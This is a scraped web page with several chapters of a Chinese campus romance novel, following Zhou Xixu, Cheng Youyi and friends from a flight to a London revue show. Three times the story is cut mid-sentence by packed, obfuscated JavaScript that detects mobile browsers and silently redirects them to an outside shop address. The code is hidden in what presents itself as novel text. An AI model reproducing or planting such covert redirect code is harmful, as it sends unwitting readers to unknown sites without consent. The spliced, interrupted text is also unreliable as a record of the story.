d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586023|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “见之后呢?”程又一端起旁边的可乐,喝了一口,喉结滚动了一下。 周悉许的视线不自觉地跟了过去,又飞快移开,她轻咳一下。“感觉也就那样,毛病还挺多的。” 她不擅长说违心的话,也没细想程又一爱不爱听。既然让她随便说,就该做好心理准备。 似乎是料到了周悉许的话不中听,程又一表现得很平静。 “怎么说?” “就挺自恋,也不算正了八经的好学生,再就是……挺小心眼。” “小心眼”是指他针对自己这件事,但周悉许没明说。 程又一点点头,“其他呢?” “想不到了。”周悉许抿了抿唇,她其实还想说“你太在意别人的看法”,但话到嘴边又咽了回去。她指了指电视,岔开话题,“快看吧,跟不上剧情了。” 之后,两人没再说话。 安静了大概十分钟。 程又一忽然伸手,把她的毯子往上拉了拉。动作很自然,像是做了很多次。 “干嘛?”周悉许看他,一脸警惕。 “漏风。”他说。 周悉许低头看了看毯子,明明盖得好好的。她张了张嘴,想说点什么,又觉得说什么都奇怪。 干脆闭嘴。 但心跳好像快了那么一点点。 就一点点。 过了好久,电影终于结束了。周悉许还保持着之前的姿势,一动没动。程又一偏头看她,才发现她睡着了。 睡相还算雅观,浓密的睫毛投下蝶影,随呼吸微微颤动,秀眉时皱时舒。 似乎是做了个不愉快的梦。 睡着的她温顺得像只猫,没了那副生人勿进模样。 程又一轻轻帮她把毯子掖好,动作小心翼翼,生怕吵醒她。 然后他没有躺回去。 就那么侧卧着,撑起胳膊,安静地看着她。 看了很久。 咚咚—— 门外传来两声很轻的敲门声。 程又一眉头微皱,起身走过去。 门开了。 外面站着那个乘务员,她手里端着块蛋糕,脸上挂着笑。 “打扰了,给您送蛋糕。” 她的声音刻意压低了,软绵绵的,像是故意营造私密的氛围。 程又一没接,也没让开。 “不需要。” “刚才那块不小心掉了,我特意又拿了一块——”她往前凑了半步,声音更柔了,“您尝尝。” “尝尝”两个字说得极暧昧,眼神也跟着勾上来。 程又一没动,垂眼看她,没什么表情。 乘务员被看得有些不自在,但还是没退,大着胆子往套房里瞄了一眼。 床上,周悉许正睡着。毯子滑下来一截,露出肩膀,显然没被吵醒。 她没想到周悉许还在,也没想到两人真的在一个套房里过夜。 “我说了,不需要。” 程又一的声音冷下来,没什么起伏,但拒绝意思很明确。他往外迈了一步,顺手把门带上了。 乘务员攥紧了手里的盘子,指甲泛白。 “我只是——” “我对送上门的没兴趣。” 程又一懒得和她周旋,直接摊牌。然后他回头看了一眼紧闭的门,嘴角动了一下,眼神也没那么冰冷了。 “还有——女朋友心眼小,会生气。” 乘务员脸色惨白。“不打扰了。” 说完她转身走了,高跟鞋踩在地毯上,没有声音,但步子比来时快了一倍。 程又一在门外站了两秒,才推门回去。 套房内,周悉许还在睡,毯子又滑下来一截。 他走过去,把毯子重新拉上来。 这次拉到了下巴。 手指在她肩头上方停了一秒,然后收回来。 他重新侧卧着撑起胳膊,安静地看着她,听着她均匀的呼吸。 他忽然希望—— 这趟飞机,最好永远不要落地。 11. 眼睁早了? 半夜,周悉许被尿憋醒了。 她迷迷糊糊睁眼,发现程又一躺在旁边,面朝自己,睡着了。 一时没想起假扮女友的事,她刚要伸手去推,脑子清醒了些。 平静几秒,没动。 视线落在眼前这张脸上。长而密的睫毛垂着,薄唇轻抿,轮廓在昏暗光线里被勾勒得格外分明,连阴影都长得恰到好处。 周悉许盯着他高挺的鼻梁看了好一会儿 她知道程又一帅,但没想到能帅成这样,让她竟然有种想伸手摸一下的冲动。 疯了疯了,一定睡懵了。 她晃了晃头,打算起身去醒醒脑,还没来得及动—— 程又一忽然睁开眼。 四目相对。 周悉许愣住。 “是不是睁早了?” “……嗯?” “再晚会儿,你就亲上来了。” 他嘴角懒懒一勾,眼底有淡淡的笑意,像是故意想看她窘迫。 周悉许莫名心虚。 明明没那个念头,被他这么一说,倒像是自己真动了什么歪心思似的。 她有些无措,脑子一抽。“你该不会是……男女通吃吧?” 程又一撇嘴一笑,“不好说。” 她一脸防备。 “逗你呢。”程又一坐起身,看了眼表,“离降落还有好几个小时,再睡会儿?” “谁跟你一起睡。” “我什么时候说要和你一起睡了?”程又一拽拽的,“虽然演了半天女友,但我并不打算让你借机转正。” “……” 这人脸皮厚得没边。 “就你这样的,当一姐妹儿还行,其他的……” 她干笑两声,拉起隔板。 接下来的几个小时,隔板两侧都不算消停。左边是周悉许震天的呼噜声,右边的人带着心事辗转难眠。 凌晨一点五十五分,飞机播报声吵醒了周悉许。她皱着眉翻了两下,又沉沉地睡了过去。 过了十来分钟,隔板被敲响。 周悉许一脸不爽地睁开眼,语气冲得很:“大早上敲什么敲?” 程又一站在床边,已经穿戴整齐。他垂眼看着她,嘴角微微上扬,带着点看戏的意味。 “再不敲,你该被拉回去了。” 周悉许胡乱挠挠头。 “程又一,你毛巾借我用下。”篓恩闯进来,脸上挂着水珠,看到周悉许“卧槽”了一声,“你掏鸡窝去了?” “掏你个头。”她骂。 “一个女生头发能睡成这样,你也是真牛逼。” “你屁话真多。”周悉许瞪了篓恩一眼,“用人家毛巾,你恶不恶心?” “这有什么的,我还用过他牙刷呢。”篓恩不在意道。 周悉许:“?” 这俩人竟然共用一个牙刷…… 她一阵反胃。 看来是低估了他们的关系,没准人俩的进度比她想的快多了。 “你用过我牙刷?”程又一皱眉。 篓恩这才意识到说漏了嘴,讪讪地拍拍他的肩,“呵呵,八百年前的事了,别当回事。” “滚。”程又一拍开他的手。 “装啥装,就咱俩这关系——”篓恩没皮没脸地往程又一身上靠了靠。 周悉许实在看不下去了,抬腿准备走。 突然一声尖叫。 “你俩昨晚睡一起了?” 篓恩满脸震惊,他指着降下去的隔板,不可置信地看程又一。 程又一没说话,朝周悉许抬了抬下巴。 这人又搞什么?明明一句话就可以直接说清楚,非要搞这么奇怪。 篓恩视线来来回回在两人间打转,几秒后。 “你把程又一扑倒了?” “……” 果然是人头猪脑。 周悉许翻了个白眼,“这玩意是你进来前几秒刚降下去的。再说,怎么就我扑他了?” “那你俩昨晚是各睡各的?” “不然呢?” 篓恩撞了下程又一,“真的?” “算是吧。”程又一答。 什么叫算是?这人真是莫名其妙。 周悉许开口想澄清,被敲门声打断。 “悉许,方便我进来吗?” 是陆竞。 这一大早,还真是热闹,能来的全来了。 周悉许无奈呼出口气,“进吧。” 陆竞进来,看到连在一起的两张床,没惊讶,只是看程又一,眼神里有探究,明显是在等对方开口。 程又一没回应,就那么回视着,他脸上是得意,还掺杂着……挑衅? 两人间的对视带着股剑拔弩张。 篓恩上前一步,“隔板是刚降下来的。” 陆竞“嗯”了一声,先移开视线,笑着在周悉许头顶揉了揉,“快降落了,收拾一下吧,我们不住学校安排的酒店了,直接回家。” “回家”两个字刻意加重了,是看着程又一说的,摆明了在宣誓主权。 程又一嘴角一扯,眼里透着一股不屑。 陆竞收回注意力,又看向周悉许,神色缓了下来。他心里很清楚,程又一是在挑衅。 说完全不在意是假话。 毕竟,他方方面面确实拿得出手,是很强劲的情敌。但陆竞也没太放在心上,因为他足够了解周悉许,知道她不会轻易对人敞开心扉,更别说是喜欢。只要她没想法就够了,至于别人有没有心思? 不重要。 “帮我和带队老师说了?”周悉许问。 “说了。”陆竞笑道,“回家再补觉吧。” “嗯,我去洗漱了。” 周悉许往外走。陆竞跟了上去。 程又一看着两人的背影,眼里没什么情绪。 篓恩凑过去,“怎么回事?你也太反常了吧,该不会是——?” 程又一轻蔑一笑,“他想多了。” “我就说嘛,你怎么可能会喜欢周悉许那头活驴。篓恩松了口气,“陆竞也是够搞笑的,他以为谁都像他一样找虐吗?那么个活祖宗,谁傻啊,会喜欢她?” 程又一踢了他一脚。 “踢我干嘛?我特么帮你说话呢。”篓恩跳开,“我看你就是欠收拾,就该让周悉许和你谈个恋爱,虐虐你。” “你能说动她也行。”程又一漫不经心道。 篓恩全当他是在应付,“行,我等下就和那头驴商量商量,看看她能不能空出一个蹄子踢踢你这个贱玩意。” “滚。” —— 周悉许洗漱完,回到套房。 程又一隔着床朝她晃了晃手机,屏幕里是他的社交账号二维码。“加个联系方式。” “对,都朋友了,没个微信说不过去,我也加一下。”篓恩也掏出手机递过去。 周悉许没端着,挨个扫了码,备注上名字。 二十分钟后,飞机停稳了。 她关闭飞行模式,刚点开微信,朱缇的电话就打过来了。“你终于到了!我打了N个电话了。” “不是发你航班行程了吗?”周悉许翻了个白眼,“别告诉我你没看。”她看了眼和朱缇的聊天界面,三十多个未接来电,整整齐齐刷屏。 这大姐记性比金鱼还差,七秒都算超常发挥。她明明提前发了航程表,登机前还特意拍了登机牌发过去,生怕这货搞错了。 结果呢?白费劲。 朱缇避而不答,“这不是迫不及待想见你吗?我的小乖乖,快出来,拜~” “……” 挂这么急,八成是真没看。 下机后。 周悉丞冷着脸走在最前面,陆浅跟在他旁边,很没眼力见地在那硬聊,话多得像个移动弹幕。篓恩在他俩边上,逮着机会就阴阳陆浅,主打一个“有仇必报”。除了这俩活宝,其他人都很安静,但空气中暗流涌动。 陆竞一直在周悉许旁边,一路上时不时回头看,后面就只有程又一,没别人。 他看什么,不言而喻。 至于原因,周悉许大概想得到:他是把程又一当成假想敌了。 她和程又一的绯闻传得沸沸扬扬,整个南洋没人不知道,早上篓恩那个大嗓门又在飞机上胡言乱语,陆竞不是聋子,肯定听得一清二楚。 之前那些子虚乌有,周悉许没解释过,陆竞也从没放在心上。但这一次,他表现得过于紧张了。 “周悉许!周悉许!” 刚过出口,就听到朱缇的大嗓门。 她顶着一头张扬的金色长发,上身性感吊带,下身超短裙,脚上蹬着双浅咖色爱马仕长靴,人群中格外亮眼。 但她手上举着的那个牌子更亮。 金光闪闪,土到令人发指。 上面写着一串大字: 【热烈欢迎周悉许女士回归大不列颠】 周悉许深吸一口气。 这牌子比朱缇这个人还显眼。 无奈之余,有一丝庆幸。还好是中文,周围的老外看不懂。然后转头看见身后浩浩荡荡的南洋大部队,那一秒钟的庆幸瞬间灰飞烟灭。 社死。 全方位、无死角的社死。 “卧槽,你这姐们挺辣啊。”篓恩眼睛都直了,“介绍认识一下呗。” 这个色批是什么想法,傻子都能看得出来。更何况,周悉许还亲身经历过他的“骚扰”。 她冷声回,“我和她没仇。”说完越过篓恩,朝朱缇走过去。 朱缇一个熊抱扑了上来,力度大到像能把人肋骨勒断。“想死你了!”说着在周悉许脸上重重亲了一口,留下一片湿漉漉的口水印。“你不知道,我最近多无聊,你和卡卡都不在,陪伴我的只有无数男色,太难熬了。” “信你个鬼。” “真的!”朱缇眨着大眼睛,表情诚恳得像在宣誓。要不是认识的时间长,周悉许差点就信了。 朱缇朝四周瞟了两眼,面色僵了一瞬,又迅速恢复。凑到周悉许耳边,低声问,“那个是谁?和你们一起出来那个。” 一共就六个人。朱缇认识陆竞,陆浅也算半个熟人,至于周悉丞,她熟得不能再熟了,甚至可以用“刻骨铭心”来形容。 生面孔只剩下篓恩和程又一。 “你说的是哪个?和我说话那个?” “不是。”朱缇摇头,精准锁定目标,“那个帅的。” “程又一。”周悉许小声回。 “卧槽,他就是程又一?”朱缇脖子伸得老长,“他也在南洋?” “嗯。” “南洋质量不错啊!” “凑合,”周悉许说。 朱缇还在张望,“他旁边那个虽然看着油点,倒也算是个帅哥。” 旁边那个指的是篓恩。 周悉许瞥了一眼,“嗯,勉强算人吧。” “你要求也太高了,这样的还勉强算是人?周悉许,三日不见,你让我刮目相看啊。” 周悉许:“……” “看来南洋是个好地方,和本小姐心意。” “南洋和你心意的只有这个?” 她们认识不是一天两天了。朱缇那点儿心思,周悉许闭着眼都能看穿。尽管她死活不承认,但那些下意识的反应骗不了人。 “不然呢?我只对帅哥感兴趣,比如那个我就很感兴趣。”。”朱缇伸手指了指程又一,明目张胆的,恐怕别人看不到。 这世上的流氓分两种:一种是真好色,一种是装风流。前者偷偷摸摸,后者明目张胆。而朱缇属于第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586024|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三种:用明目张胆的“好色”,来掩盖自己真正在看谁。 “你觉不觉得他俩有那么点共性?”周悉许左右打量着斜后方的两个人,没明说是哪俩。 朱缇以为她在说程又一和旁边那个油腻男。“哪像啊,一点也不像好吧!”她一脸嫌弃,“那个太油了,程又一高级太多了,完全不是一个级别的,他身上那股子装逼劲……和周悉丞倒是有点像。” “我说的就是周悉丞啊。”周悉许笑了。 其实程又一和周悉丞是两种截然不同的性格。两人看着都挺高冷,也都傲慢,但程又一身上有种散漫的痞气,而周悉丞很死板,是典型的豪门接班人模板。只不过没深入接触前,会本能地觉得两人相似,因为都是世俗眼里的“优秀”,外界的传言也都大差不差。 周悉许没到南洋之前,光看媒体报道,也觉得程又一就该是周悉丞那样的人。但事实证明,媒体的话,一半都多余。 朱缇转移话题,“别提他,烦。你去我那吧,让他们仨直接回去。” “还不是你自己提的。”周悉许无奈,回头看了眼身后的三人,“你等会儿,我去和他们说,还是你和我一起过去?” “你自己去,我懒得看那基佬。”朱缇别过脸。 这死鸭子又在嘴硬。 明明刚才眼睛还四处乱瞟,脖子都快扭断了,现在在这装。 周悉许没拆穿。 周悉丞是朱缇懵懂时的情窦初开。当年她春心荡漾,追了很久,但周悉丞一直无动于衷,于是就由爱生怨了。从那之后,她下了个结论:周悉丞,性取向不明朗。翻译过来就是:“我没追不到的人,一定不喜欢女人。” 逻辑满分,无懈可击。 这俩人的恩怨,周悉许从不掺和,就算她掺和也解决不了。毕竟感情这事讲究的是你情我愿,她一个旁观者总不能摁头让周悉丞就范,也不可能给朱缇脑子里装个开关,所以只能任他俩自生自灭。 周悉许走到周悉丞面前,“你们回去吧,我去朱缇那。” “轻点疯。”周悉丞冷冷道。 “走了,别跟个老妈子一样。” 周悉许摆摆手,和朱缇一起离开了。 —— 车上。 周悉许倚靠在座椅上,偏头看窗外的风景。 朱缇挑起话题,“程又一那货挺帅啊,赛车手还长那么高。” “还好吧,也就186?没周悉丞高。”周悉许有一搭没一搭地回,“赛车手又不是土地老儿,哪有身高限制。” 一听“周悉丞”仨字,朱缇语气当场变调。“那基佬也没多高,一两厘米差别而已,他个儿比人家高那么点,下面比人家短不知道多少。” 周悉许:“……” 这货的嘴绝对是涂了黄漆。那俩人谁比谁短一寸,她又没量过,这结论全靠偏见支撑。 朱缇又八卦道,“那程又一他有女朋友吗?” 周悉许摇头,“据说没有。” “不是吧?长那样,没对象?” “嗯,貌似也没关系近的女生。” “不应该啊。” “有啥不应该的。”周悉许心不在焉,随口扔出一句,“万一人喜欢男的呢。” 朱缇:“?” 空气安静了整整三秒。 朱缇缓缓转过头,眼神像在看一个外星人:“你说什么?” “没什么。”周悉许意识到自己嘴快了。 “没什么个屁,我又不聋。”朱缇把手机往腿上一拍,整个人转过来面对她,“赶紧说说怎么回事?” 周悉许和朱缇之间没秘密,俩人凑到一起什么都敢聊。 “我猜的啊。”她先声明,“我觉得他是个gay。” “真的假的?”朱缇上下打量她,眼里写满了“你靠谱吗?”四个大字。“你那个脑回路,确定没猜错?” 周悉许认真点点头,“有根据的。” “什么根据?”朱缇明显不信,“他那性张力强得可怕,怎么能看出来是个gay?” “谁规定性张力强就非得喜欢女的?” “哈?”朱缇一时没接上话。 周悉许趁热打铁,“你想想,性张力强的攻,少吗?” 朱缇有点动摇。“是不少。” “而且……根据我的经验来看——”周悉许不自然咳了一下,停了两秒才说,“性取向和性别的认同没关系。” “你有个屁经验啊。”朱缇不假思索道,“我就是怎么看都觉得他不像。” “你才看几眼?” “也对。”朱缇底气不足了。 “他旁边那个油腻男看见没?” “昂,咋了?” “粉衬衫、长筒袜绝对是标配了。” “你还别说——”朱缇彻底没底气了,“那货倒真有点像个母。” 周悉许强忍住笑。再聊下去,篓恩怕是要被这俩人全方位扒个底朝天。虽然她也挺想聊,但背后这么编排人,良心多少有点痛。 “接个电话。”朱缇晃晃手机,屏幕上亮着一串数字。 周悉许识趣噤了声。 闲着也是闲着,她掏出手机打算刷会儿视频。 屏幕刚亮,一条未读消息就弹了出来。 程又一发的。只有简短五个字。 【我是程又一】 周悉许:“?” 废话,她当然知道他是程又一,加好友的时候她又没瞎。 她懒得回,顺手点进他主页,想看看这人到底什么毛病。 头像是一张纯白图片,干净得像是出厂设置。 朋友圈仅半年可见。孤零零一条动态,一句英文挂在那,像段没头没尾的独白: I’mhappyjusttobeyourman. 12. 猛男秀 这人挺闷骚。 平时装得跟个佛似的,竟然发这种浪到起飞的话,还是在朋友圈广而告之,完全不符合他人设。 这条状态是上个月发的,好巧不巧,那天正好是周悉许生日。 她打了个哈欠,开始犯困,头靠着车窗,眼皮不自觉合上。 没一会儿,到地方了。 朱缇为了接机起了个大早,精神头和周悉许差不多,无精打采的。于是两人达成共识:补觉。 —— 这一觉睡了十几个小时,睡得昏天暗地。睁眼时,太阳已经快下山了。 周悉许迷迷糊糊摸起手机。 十几个未接来电,一个是周悉丞,其余的都是陆竞。还有一条消息: 「悉许,今天还来吗?」 她打着哈欠回: 「不去了,补觉补过头了,不用管我,忙你们的。」 这个点,南洋集体活动估计已经过半,她懒得来回折腾。 周悉许踢了踢旁边还在呼呼大睡的人,“起来,该吃早饭了。” 朱缇揉揉眼,“几点了?” “7点。晚上。” “卧槽,这么晚了?”朱缇一骨碌爬起来,“那赶紧吃饭,吃完还有安排。” “什么安排?” “秘密。” 周悉许:“……” —— 与此同时,程又一家。 篓恩半瘫在沙发上刷着手机,一脸的生无可恋。他拿起苹果咬了一口又扔回桌上,“程又一,我快无聊死了,出去玩玩呗?” 程又一盯着手机屏幕,上上下下来回刷,随口应付:“去哪?” 篓恩想了半天,“不知道。能玩的地儿都玩腻了,还不如去日本。” 程又一懒得回他,但凡是个人都猜得到他为啥想去日本。 “去体验下人家当地特色风土人情是不是挺好?”篓恩撞了撞程又一,笑得像个淫贼,“你想想,那樱花妹,软萌可爱的,多正点。” “嗯,你确实特色。”程又一没抬眼。 “你就扫兴吧,手机到底里有啥?你都快长里面了,给我看看。”篓恩凑过去,被程又一躲开了。 “切,我也有,我看我的。”他掏出手机。 之后,两人各忙各的。 安静了十来分钟,篓恩又不消停了。 “这些女生无敌了,都去看什么MagicBoys,无脑。” MagicBoys是当地很有名的一个秀,台上全是型男帅哥,观众清一色女性。 程又一怼了一句,“你去日本,不去歌舞伎听一番街?” “卧槽,我小瞧你了程又一,你可以啊,还知道这么热门的打卡地儿呢。”篓恩啧啧道,“要么说那些女生无脑呢,都被你这装逼的外表给骗了,以为你多正经呢,实际上骚得很。” “比不了你。” “我知道去哪了!”篓恩猛地一拍腿,“走,就去那,抓这帮小女生去,不能让英吉利海峡的脏水污染了我们南洋无瑕的小白花。” 他说得义正言辞,心里打什么算盘,瞒不过程又一。 “你能先控控油吗,英吉利海峡的脏水都没你污。” “擦。”篓恩推了推他,“说真的,找个黄牛弄两张票呗。” “你当这是申泸?上哪给你找黄牛。” “别给我装,我知道你有办法,我都快憋死了。” “憋死了去厕所。” 程又一心思全在手机上,没心情出去疯,他今晚要研究的事不少。 比如某人的动态。 见程又一无动于衷,篓恩换了战术。他环住程又一的手臂,捏着嗓子撒娇:“程又一哥哥,带人家去看猛男肌肉秀嘛,求求你了,人家想看猛男秀,嘤嘤。” “滚。” 程又一的表情跟吃了屎一样。随后,拇指在手机上停住了,屏幕上是一分钟前的朋友圈。 一张照片,定位显示:MagicBoys。 他嘴角上扬,起身去阳台,拨了个电话。 —— 为了拯救失足少女,篓恩特意换了身自认为吊炸天的行头。一身黑色深V领西装,脖子上还带了条装饰链。这套不符合年龄装扮,让他显得更油了。 程又一看着在镜子前打发蜡的篓恩,撇嘴道,“你要去走红毯?” 篓恩心情愉悦。 走红毯的要么是明星要么就是模特,他觉得程又一这是在间接夸自己。他得意地撩了撩额前的碎发,“这么帅吗?不好意思啊,没考虑你。” 程又一嗤笑,“谁给你的自信?” “切,明明是嫉妒小爷,还嘴硬,行了,小爷今天这么帅,不和你一般见识,走吧,帅逼要出街了。” 两人从小一起长大,按理说程又一早该习惯篓恩的缺心眼,但每次篓恩总能刷新他的认知。让他真切的体会到,一个人的下限,是没有尽头的。 三十分钟后,两人抵达目的地。 篓恩东张西望寻找目标,程又一低着头看手机屏幕里的照片。 “大哥,你能不能抬抬头?一晚上都盯着那个破手机,你看看这儿,这么多美女,不比你那个破手机有意思?” “少废话,看你的。” “切,懒得管你,小爷我要干正事了。” 舞台另一侧,也有俩人。一个兴致盎然,一个神色恹恹。 周悉许正百无聊赖地刷着短视频,旁边是朱缇震耳欲聋的尖叫。 “大姐,你能不能小点声,我要被你震聋了。” “拜托,来这种地方就要嗨起来好嘛!都像你一样在那刷手机,还来看个屁秀啊。” “你以为我想来?” 要不是朱缇搞得神神秘秘,周悉许才不会大晚上折腾出来。坐了十几个小时飞机,她整个人都快散架了,完全兴奋不起来。 朱缇瞪了她一眼,“这是姐特意给你准备的伦敦特产,多少人抢着来呢,看看姐多用心,再看看你,带的那个特产。” 她撇了撇嘴,“鲜肉月饼?友情提示一下,姐已经20了,你可以把鲜肉月饼直接换成鲜肉。”说完朝台上扬了扬头。 周悉许提醒道,“你还记得Leo是谁吗?” “谁?” “牛逼。”她伸出大拇指,“上一秒还和人家爱得死去活来,现在就忘了?” 朱缇笑得张狂,“姐只珍惜眼前人。” “我应该给你整个渣女语录,绝对句句封神。” “好啊,第一句:去南洋泡程又一。”朱缇眨了眨眼,“记完这句顺便给他看一下。” “你来真的?” “我哪次是假的?”朱缇撩了下长发,“除了周悉丞那个掰不直的,其他都是真爱。” 周悉许点点头,“果然只有周悉丞是真爱。” “滚一边去,就知道扫兴。” 不提周悉丞还好,一提,朱缇更疯了,恨不得爬到台上去和帅哥共舞。 周悉许没管她。她看手机看得眼睛疼,台上的不想看,只能看看现场的吃瓜群众。 这一看,看到两张熟悉的脸。 一个油得发亮,一个帅得起飞。 “卧槽,那不是周悉许吗。”篓恩撞了下旁边的人。 程又一闻声抬头,顺着篓恩指着的方向看过去,恰好对上了周悉许的视线。 他嘴角一挑,“你不是要拯救失足少女吗?走啊。” “对对对,拯救失足少女去!” 篓恩瞬间上头,快步走过去。 程又一也跟了上去。 “Hi,这么巧?”篓恩提高音量打招呼。 周悉许早就看到他们了,但不太想搭理,碍于礼貌,浅浅应付,“嗯,挺巧。” 话说出口又觉得不对劲。来看这种秀一般都是女性,男的非常少。 这俩货来干嘛? “是啊,这不程又一弄了两张票嘛,非让我陪着来看,没办法,我就跟来了。” 篓恩颠倒黑白,跳过了自己求票那段,字里行间透露着他是被动的、是陪程又一来的。 程又一没揭穿。这么多年,篓恩甩过来的锅多得数不过来,他懒得一一解释。 而且……也确实是他想来。 “哦,这样啊。”周悉许不走心地应着。 程又一这人不爱凑热闹,对大部分人和事都漠不关心,能让他主动来的理由只有一个:他本人感兴趣,且意愿非常强烈。 周悉许的目光在程又一和台上的猛男之间来回扫了两遍。 一个对猛男秀感兴趣的男性……是出于什么心理? 结论显而易见:他喜欢看男的,还是猛男,有肌肉那种。 周悉许脑子里捋了捋。 程又一很可能不仅是个男同,而且……还是个0。 之前她说的一语成谶了。 这人真是个姐妹。 “介绍一下啊。”朱缇推了推她。 周悉许回过神,歪了下头,“我姐妹儿,朱缇。”又胡乱指了下对面俩人,“程又一、篓恩。” 程又一不冷不热地点了下头。 篓恩格外热情,他朝朱缇伸出手,“Hi美女,叫我Lown。” “你好呀帅哥,Judy。” 朱缇没伸手,回得克制又礼貌。 “帅哥”俩字只是客套话,人家叫她美女,她总不能回人家丑逼。 但篓恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586025|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当真了。 尤其是“帅哥”前面是“你”不是“你们”,更让他得意忘形。 他终于在程又一面前扬眉吐气了。 “既然碰到了也算是缘分,一起玩呗。”篓恩主动道。 “好啊,刚好我俩也挺无聊,人多热闹。”朱缇笑着回。 周悉许耸肩,“随意。” “我没意见。”程又一也表了态。 为了制造和朱缇近距离相处的机会,篓恩厚着脸皮夹到两人中间,硬生生把周悉许挤到一边,还给了程又一一个眼神。 程又一心领神会,一反常态,主动配合他。 此时的站位是:朱缇在最左侧,旁边是篓恩,周悉许和篓恩隔了一个肘臂的距离,她右边是程又一。 篓恩和朱缇凑到一起,嗓门大得震人,他那个爪子总不老实,时不时比划几下,险些打到周悉许。 周悉许被迫站远了些,程又一也跟着挪了挪。 一个节目结束,迎来了一波高潮。 台下兴奋起来,挤到中间的人多了,四个人被挤散。程又一始终在周悉许旁边,篓恩和朱缇在舞台的另一边。 “你不过去看着他吗?”周悉许偏头问。 “看着谁?” “篓恩啊。” 程又一觉得好笑,“看他干嘛?我又不是他爹。” 周悉许没继续劝。 行,想装就继续装吧。 程又一垂眼看她,“倒是你,我觉得需要看着。” “看我干嘛?我又不是三岁小孩。” “怕你不老实。” “……” 周悉许眉心一皱。 这人大概是吃错药了。 说这话是打算上演暧昧戏码?如果是刚认识那会儿他这么说,她还会觉得是别有居心。但现在……画风挺违和的。既然都是姐妹儿,就没必要装爷们,但凡是个爷们也不会来看猛男。 “行了,别跟我在这硬装了,没人觉得你下不来台。” 周悉许没控制住,诚实了一秒。 程又一听得云里雾里。 “越遮遮掩掩这事越复杂,还不如直接点。”周悉许耿直道,说完又觉得自己有点口无遮拦,“你就当我什么都没说。” 程又一更懵了。 周悉许摆摆手,不忍心再看他揣着明白装糊涂。毕竟不是专业演员,演起来也挺吃力的。 “算了,继续看猛男吧,不然白来了。” 人家好不容易鼓起勇气来看个秀,挺难得的,不能影响人家的观感。 周悉许以为自己这是善解人意,没想到人家压根不领情。 “你看得下去?” 台上已经换了下一个表演。一个长相帅气的男人缓缓随着威亚降了下来,他上身白衬衫,下身西装裤。 是宣传广告上那个人气王。 这个节目是互动环节,人气王会在观众席中挑选一个幸运儿上台和自己表演。 台下一阵欢呼。 周悉许在第一排,个子又高,哪怕在一众金发碧眼里也格外出挑。 昏暗的灯光下,她精致明艳的五官愈发迷人,眉眼间的疏离,恰好最能激起人的征服欲。 人气王走到她身边停下脚步,很绅士向她发出邀请。 周悉许还没来得及拒绝,旁边的人先开了口。 程又一操着一口标准的英音,替她回绝了。 人气王礼貌地回了个微笑,很自然的把伸向了后侧的女生。 “你还真监督我?”周悉许转头问。 程又一挑眉,没说话。 周悉许:“……”这人什么意思? 台上,人气王和观众的互动逐渐暧昧,尺度相当大,画面极具视觉冲击。 周悉许有些不好意思看。她没有当众看亲热戏码的癖好,更何况身边还站着程又一。她僵着身子,目不斜视,怕一个不小心和程又一对上视线。 “你欠我一个人情。”程又一突然开口。 “什么?” “你看台上那人多煎熬。” 程又一睁眼说瞎话。 台上那位明明就很享受,煎熬的是她。 周悉许没接话。 程又一继续说,“你想想什么时候还一下。” “还什么?”她问。 “人情。” 周悉许:“......" 这也能算人情? 就算他不开口,她自己也会拒绝,哪用得着他来掺和? “不用你说,我也长嘴了,你好意思把这当人情债?” 程又一装聋,直接忽略她的抗议,“择日不如撞日,就今天吧。” 周悉许:“?” 13. 你想多快? “嘿,你这个姐妹儿挺对我口味,帮个忙呗。” 篓恩突然凑过来,打断两人的对话。 “你怎么死过来了?朱缇呢?”周悉许朝舞台的另一侧张望,没见朱缇的身影。 “去卫生间了,和你说正事呢,别转移话题,我真挺喜欢朱缇,你帮忙牵牵线呗。”篓恩讨好道。 周悉许懒得搭理他。 篓恩心里有数,他在周悉许那已经是一片废墟了。“真的,我是认真的。” “认真这俩字都快让你说烂了,换个词儿吧。” “这次是真的。” 篓恩伸手保证,一脸信誓旦旦。 “这句话也听好几遍了。” 周悉许不是故意拆台,这些话篓恩天天挂在嘴边,她听得耳朵都出茧子了。 “那你想听啥?” 篓恩直接摆烂,周悉许也不拐弯抹角,“说啥都没用,和你直说吧,你俩不配,你也入不了人的眼。” 篓恩挺不服气的。论身材和样貌放眼整个南洋,他认为自己都是数一数二的。 当然这只是他以为的…… 别人不这么想。 但他这人特自信,自信到认不清自己的真实状况。 “来,你说说,我俩哪不配,我怎么就入不了她眼。” 周悉许不假思索,“方方面面都不配,方方面面都入不了她眼。” “擦,你这是对我有偏见,在别人眼里,我可是她们做梦都不敢想的。” “那肯定不敢想,毕竟谁都怕做噩梦。”周悉许秒怼。 